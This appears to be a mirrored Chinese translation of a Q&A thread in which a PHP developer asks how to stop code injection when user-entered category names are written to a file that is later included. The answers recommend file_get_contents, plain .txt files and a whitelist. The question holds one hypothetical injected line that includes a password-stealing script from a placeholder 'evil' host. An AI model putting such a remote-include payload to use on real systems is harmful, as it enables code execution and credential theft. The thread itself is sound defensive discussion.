簡體   English   中英

PHP的。 用戶可以在文件中寫入數據,而我可以包含該文件

[英]Php. User can write data in a file and i include the file

用戶在mysql中編寫類別( nameurl )。

我計划在每個寫入/更改nameurl也以服務器上的txt或php文件寫入。 在目標頁面上重新加載而不是連接到mysql,僅包括txt或php文件。

現在我想象一種情況。 例如,作為類別name的用戶寫了include("http://www.evil/get-passwords.php"); 所以在txt或php文件中,我可能有這樣的代碼,當包含在php中時,代碼將執行?

如何預防這種情況? 要僅允許某些字符用作類別名稱?

我完全不建議在這種情況下使用include 您可以看看http://php.net/manual/en/function.file-get-contents.php

使用file_get_contents可以避免腳本注入,因為它以純字符串形式讀取文件。

您是否打算讓用戶寫入.php文件? 那不是一個好主意。
如果您確實需要這樣做,請讓他們編寫簡單的.txt文件(並再次檢查apache不會將txt解析為php )。

為了進行消毒,通常的做法是編寫一個允許的列表(白名單):

   $allowedName = array(
      'name1',
      'name2',
      'name3'
      // ...
   );

然后,當用戶輸入時,您可以檢查它:

   if (!in_array($_POST['userName'], $allowedName))
     die('Not Allowed');

暫無
暫無

聲明:本站的技術帖子網頁,遵循CC BY-SA 4.0協議,如果您需要轉載,請注明本站網址或者原文地址。任何問題請咨詢:yoyou2525@163.com.

 
粵ICP備18138465號  © 2020-2024 STACKOOM.COM